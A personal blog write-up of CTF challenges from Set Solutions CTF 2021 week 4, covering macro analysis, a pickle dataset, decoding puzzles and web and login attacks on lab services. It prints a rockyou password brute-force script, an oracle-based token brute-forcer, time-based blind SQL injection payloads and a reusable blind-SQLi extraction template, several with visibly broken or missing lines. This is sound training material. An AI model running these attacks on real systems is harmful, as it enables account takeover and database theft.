Set Solutions CTF 2021 Week 4

Quick Navigation
Week 1 \ Week 2 \ Week 3

With a total of seven challenges, week 4 proved to be the hardest yet most entertaining week of Set Solutions CTF 2021.


Challenge description:

We can neither confirm, nor deny…

Challenge attachment: TOP_SECRET

Week 4 started with a 2 MB file TOP SECRET, which the unix command file revealed to be a Composite Document File V2 Document (CDF document) created by Microsoft Office Word. Opening with Microsoft Word prompts a macro warning, which I politely declined. Near the bottom of the document, there was white (invisible) text which said:

The secret to fixing the payload, is you will need to update the DNS A Record to point to

The Python tool olevba revealed that, should you enable macros, a PowerShell command would download and attempt to execute a file hosted on

Rather than adding a DNS record for as the Word document suggested, I directly browsed to , which revealed the flag.

Black Holes

Challenge description:

The commander is asking for the average Cluster Mass of black holes from the dataset provided (rounded to the nearest whole number).

Challenge attachment: blackHoles.bin

Black Holes provided a dataset, blackHoles.bin, and a prompt to enter the average cluster mass of black holes, given the dataset. The binary data of blackHoles.bin started with “…cpandas.core.frame.DataFrame”, meaning that the challenge literally provided a dataset and wanted calculations to be performed.

I launched ipython and imported pandas. From previous work with Pandas, I knew that Python datasets were typically saved using Pickle, a library which allows for python objects to be easily (but insecurily) saved/loaded. To load and describe blackHoles.bin, I executed the following commands:

import pandas
d = pandas.read_pickle("blackHoles.bin")

To determine if there was a column related to the cluster mass of black holes, I executed the command d.columns().

There was indeed a column named “Cluster Mass”! To retrieve the mean of “Cluster Mass” I used the command d['Cluster Mass'].mean(), which rounded to 124605.

Target Destinations

Challenge description:

Target Destinations simply provided the IP address of another EC2 instance. After many hours of troubleshooting why my port scans were unable to find anything, I attempted a full syn port scan from another IP address. Within a few seconds, port 25443 was revealed to be open, and the flag was printed upon connection.

Dr Mallory

Challenge description:

Dr. Mallory has sent out a double encrypted email to an external address. Could he be the spy?

Challenge attachment: authenticate.exe

Dr Mallory provided the attachment authenticate.exe, a 73 MB Windows executable.

Running authenticate.exe from the command line on a Windows virtual machine resulted in password prompt usage being displayed.

After poking around the results of strings authenticate.exe, I switched to the more tactical approach of searching for important strings, such as the prompt for the challenge “Instructions - “, hoping for context to be stored nearby.

Exactly 10 lines of strings above “Instructions -” was the suspicious base64 string “SUQxZFRoM0JydXQzRjByYzNFbmMwZDFuZw==”, which decoded to “ID1dTh3Brut3F0rc3Enc0d1ng”.

Coin Challenge

Challenge description:

So, you got a challenge coin from us at HOU.SEC.CON 2021. We hid an extra flag out on the internet. Take a close look at the coin, after a few twists and flips, it will lead you to the flag.

Challenge image: ssi_coins.png

Immediately, I noticed the significant number of 1’s and 0’s on the right image of the coin. The numbers were not consistent with 5-bit binary, and attempts to decode the message using ciphers such as Baudot-Murray Code did not yield promising results.

Like other challenges, stenography of the image and OSINT of HOU.SEC.CON revealed nothing. Stumped, I went back to probing google for portions of “11000 00111 00000 00111 00001 11110 10000 1010 00001 11000 11000 11110 10000 100 00011 00001 11000 00111 00011 00011 00000 01111”, hoping for ideas. On the second page of google, documentation for a Morse Code generator for the Raspberry Pi caught my eye.

Scrolling down the Raspberry Pi documentation, I discovered sample Morse Code python code, meant to be used on the Raspberry Pi.

Noticing the similarity in the format between the Morse Code dictionary and the sequence of binary numbers provided, I pasted the dictionary into ipython, reversed the keys and values, and mapped each binary “word” to its corresponding letter in the Morse Code dictionary . The result was “7252496c47796d34723351”, a sequence of hex values. Converting “7252496c47796d34723351” to ASCII revealed “rRIlGym4r3Q”, which looked more promising than any other conversion I had completed.

I searched for “rRIlGym4r3Q”, hoping that the string was short enough to catch another google result. Luckily, a single result appeared: a youtube video uploaded two months prior to the CTF by Set Solutions, featuring Hutch, the main point of contact for the CTF.

Not wanting to watch the entirety of the interview (sorry Set Solutions!) I explored the description, and found the flag hiding at the very bottom.

In retrospect, any configurable Morse Code to text tool could solve this challenge. For example, will reveal the hex value “7252496c47796d34723351”, when the separator is ” “, long is “1” and short is “0”.

Also in retrospect, I happened to be very lucky when transcribing the binary on the coin, as I started from the top center (imagine 12 o’clock if the coin was a clock). As a result, when I decoded the morse code, I retrieved characters of the youtube video ID in the correct order. Without the order being correct, I would have not found the video from a google search. Again in retrospect, there are multiple hints pointing to that the binary should be read from the top center, including the arrow on the coin pointing at the first character.

Man Down

Challenge description:

The commander over-heated while running with his space-suit on in the desert surrounding the moon-base simulation. We need to figure out the combo to get into the medical locker.

Man Down contained an input box for the “Medical Supplies Cache”, which required a text token. The token was sent in a GET request to an AWS endpoint, and a JSON response would was returned.

Upon submitting an empty token, I received a response noting that the token I submitted was not the correct length. I decided to manually enumerate the the token length by appending “a” until the repsonse changed from Incorrect Length to Incorrect Token. After about thirty seconds of manually appending characters to the token, the length of 24 returned the response:

{'status': 'FAIL', 'response': 'Incorrect Token', 'correctChars': 0, 'correctPos': 0}

Rather than brute forcing the entire string, I took advantage of the token endpoint’s verbosity, and wrote a script to determine how many of which characters the token consisted of.

import requests
import string

URL = ""

chars = {}
for c in string.printable:
        r = requests.get(URL + (c * LENGTH))
        correct_chars = r.json()['correctChars']
    if correct_chars != 0:
        chars[c] = correct_chars
        print(f"[+] Correct: {c} ({correct_chars})")
print(f"correct chars:\n{chars}")


{'Q': 1, 'R': 1, 'J': 1, '8': 1, 'D': 1, 'E': 1, 'B': 1, 't': 1, 'N': 1, 'y': 1, 'o': 1, 'e': 1, 'O': 1, 'm': 1, 'v': 1, 'c': 1, 'G': 1, 'n': 1, 'X': 1, 'j': 1, 'H': 1, '4': 1, 'f': 1, 'Z': 1}

Next, I wrote a script to brute-force the flag, using the characters previously discovered. I did not have to worry about modifying or checking the count of each character, as each character only appeared once.

import requests

URL = ""

chars = {'8': 1, 'O': 1, 'X': 1, '4': 1, 'R': 1, 't': 1, 'y': 1, 'Z': 1, 'D': 1, 'f': 1, 'o': 1, 'J': 1, 'G': 1, 'v': 1, 'B': 1, 'E': 1, 'e': 1, 'N': 1, 'c': 1, 'm': 1, 'j': 1, 'H': 1, 'n': 1, 'Q': 1}

token = ""
for _ in range(LENGTH):
    for c in chars.copy():
        # create test token + fill with known incorrect character
        cur_token = token + c + ((LENGTH - len(token + c)) * "a")
        print(f"[+] trying {cur_token}")
        r = requests.get(URL + cur_token)
            if r.json()['status'] == 'SUCCESS':
                print(f"[+] SUCCESS! {r.json()}")
            elif r.json()['correctPos'] == (len(token) + 1):
                print(f"[+] correct found {c}")
                token += c
            print(f"[!] exception!")

The brute-force script eventually reached the correct token, and the API endpoint returned the flag!

Note: the scripts shown were modified versions of what was used during the challenge, for clarity purposes


Challenge description:

What do you do, when you don’t know what to do? You ask the FAQ of course. Connectivity is limited on the moon, so the system is kind of simple, and very strange, but there are answers and a flag to be found.

connect to the range at on port 1337

Challenge image:

SpaceFAQ was by far the most difficult challenge of the Set Solutions CTF. For context, the top three winners for the previous three weeks were decided within two days of the challenges being released.

Upon connecting with netcat to 1337, a welcome message was printed, and a prompt for a username and password appeared.

Early on in day one, I unsuccessfully attempted to brute-force the login prompt with username “eddie” and the first ~6000 passwords from rockyou.txt. The following script was used to brute-force the netcat-compatible login prompt:

from pwn import remote
HOST = ""
PORT = 1337

USER = "eddie"
conn = remote(HOST, PORT)

def try_login(username, password):
    conn.recvuntil("): ".encode())
    conn.send((username + "\n").encode())
    conn.recvuntil("Password: ".encode())
    conn.send((password + "\n").encode())
    r = conn.recv(2048)
    if ("Are you even a member of the crew? Try again." not in r.decode()):
    return None

def rockyou():
    with open("/usr/share/wordlists/rockyou.txt",) as f:
        for i in f:
            i = i.strip()
            yield i

conn = remake_conn()
give_pass = rockyou()
while True:
    password = next(give_pass)
    try_login(user, password)

By Wednesday, all challenges besides SpaceFAQ had be solved, resulting in a hint being released. With my motivation resparked, I recalled that my brute-force from day one was cut short. I set out to brute-force the username “Eddie” again, determined to exhaust all passwords in rockyou.txt.

To my astonishment, entry 7369 of rockyou.txt suceeded–just over 1000 lines after where left off two days prior. The credentials to SpaceFAQ were Eddie:tinkerbell1.

Now logged in, I was able to ask the FAQ for a question. When I wrote nothing and only pressed enter, SpaceFAQ printed all FAQs and answers:

Three of the FAQs printed provide insight into the next steps of the SpaceFAQ challenge.

Q: where is that flag anyway?
A: maybe ponder how your previous seaches are tracked, a flag is just a secret with the “name” flag, where might one keep “secrets”?
Q: what database are you running anyway
A: Well, I feel kind of bad for you, so I’ll tell you. It’s a mysql database :) enjoy the hint.
Q: hint? you want a hint
A: ok fine. here ya go. you’re welcome:

The FAQ told me that the underlying database is MySQL and the blog provided me with the notion of Time-based Blind SQL Injection. Given the hints for Space Flag from Week 1 , the FAQ is probably trying to convey that the flag exists in the table “secrets” where the column “name” is equal to “flag”.

Starting with MySQL injection basics, I sent ', resulting in SpaceFAQ noting “an error occured”.

Pivoting to union and sleep-based SQL injection, I sent the command ' UNION SELECT SLEEP(3),1 which caused the server to wait three seconds before sending a reply. Success! the SpaceFAQ search is vulnerable to a sleep-based blind SQL injection. Additionally, it was confirmed that the underlying query selects two values, as I successfully caused the server to sleep when upon selecting two values. note: you’ll have to take my word on the response delay as the screenshot does not contaoin output times

Since injecting the SLEEP command only works when two columns are selected SLEEP(3),1, and the FAQ mention “maybe ponder how your previous seaches are tracked…” it can be assumed that the underlying SQL query follows a similar structure to the following:

"SELECT var1, var2 FROM table1 WHERE column1=usrvar1 AND search='{search}'"

To confirm that the table secrets exists and has a name entry of flag, I sent two queries. Both queries resulted in the server sleeping for three seconds, confirming that the column name exists, and that the entry flag exists in name, respectively.

a' UNION SELECT SLEEP(3),name FROM secrets WHERE 1=1 AND '1'='1
a ' UNION SELECT SLEEP(3),name FROM secrets WHERE name = 'flag' AND '1'='1

It is important to note that the query ends with AND '1'='1, due to the SQL injection being initiated with '. To not cause a syntax error, the final query must have an equal number of quotes.

During the challenge, I created a sleep-based blind SQL injection python script which uses depth-first search to brute-force values. The following code contains adjustments made after the challenge, allowing the script to serve as an easily-modifiable template for future use.

from pwn import remote
import time
import string

HOST = ""
PORT = 1337
USERNAME = "Eddie"
PASSWORD = "tinkerbell1"

MAX_FINDINGS = 1 # number of findings for recursive_loop to locate 

def make_conn():
    conn = remote(HOST, PORT)
    conn.recvuntil(b"): ")
    conn.recvuntil(b"Password: ")
    conn.recvuntil(b"): ")
    return conn

class RecursiveSQLInjection():
    # modify sleep time depending on connection stability
    SLEEP_TIME = .5  
    # "_" near the beginning of CHARS string to increase performance CTF challenges
    CHARS = (string.ascii_lowercase + string.digits + string.punctuation) 

    def __init__(self, conn):
        self.verbose = VERBOSE
        self.conn = conn

    def time_based_query(self, query_val):
        # query function should be modified depending on use case
        query = f"a' UNION SELECT SLEEP({self.SLEEP_TIME}),1 FROM secrets WHERE " \
                f"SUBSTR(value,1,{len(query_val)}) = '{query_val}' AND '1'='1"

        if self.verbose: print(f"[>] Attempting: {query}")
        start = time.time()
        self.conn.recvuntil("): ".encode())
        if (time.time() - start) >= (self.SLEEP_TIME * .8):
            print(f"[+] VALID: {query}")
            return True
        return False

    def recursive_loop(self, found: set=set(), cur_string=""):
        # depth-first search to locate values until MAX_FINDINGS is reached
        # does not confirm intermittent findings with a select statement
        # i.e if both "value" and "value_fake" exist, only "value_fake" will be found
        has_finding = False
        for char in self.CHARS:
            test_string = cur_string + char
            if has_finding := self.time_based_query(test_string):
                found = found.union(self.recursive_loop(found, test_string))

                # break if max findings hit
                if (self.MAX_FINDINGS > 0) and (len(found) >= self.MAX_FINDINGS):
            # continue the CHAR loop if cur_flag + test_char was not valid

        if self.verbose: print(f"exhausted '{cur_string}' + ...")
        # if no findings and cur_string is not empty, cur_string must be a valid item
        if not has_finding and cur_string != "":
            self.verbose: print(f"Adding {cur_string} to found")
        # once CHARS is exhausted, cur_flag must be "" or a flag
        return found

def main():
    conn = make_conn()
    solver = RecursiveSQLInjection(conn)
    found = solver.recursive_loop()
    print("[+] Findings:")
    [print(f"\t{finding}") for finding in found]

if __name__ == '__main__':

After various modifications following failed attempts, I ran and the script for a final time and was able to brute-force the flag:


For bonus points, I investigated other areas of interest in the database, including the searches table. I discovered that the searches table contained three columns, being the id, remotesource, and search for each respective search. Curious, I enumerated remotesource for the first few searches in the table, and located an IP address corresponding to the location of the challenge creator:

In theory, anyone could have enumerated the IP addresses of other competitors working on the SpaceFAQ challenge. Luckily, the competition pool for the CTF was small, and as far as I am aware, no denial of service foul-play happened.


Week 4 lessons learned: enumerate, enumerate, enumerate. And when you think you’re done, enumerate more. SpaceFAQ could have been solved significantly faster if I continued to attempt password brute-forcing. Going forward, I will continue to build “template” scripts to assist with starting challenges SpaceFAQ.

Big shoutout to Set Solutions for the incredible CTF, and for providing me with the SpaceFAQ source code once the challenge concluded.

Quick Navigation
Week 1 \ Week 2 \ Week 3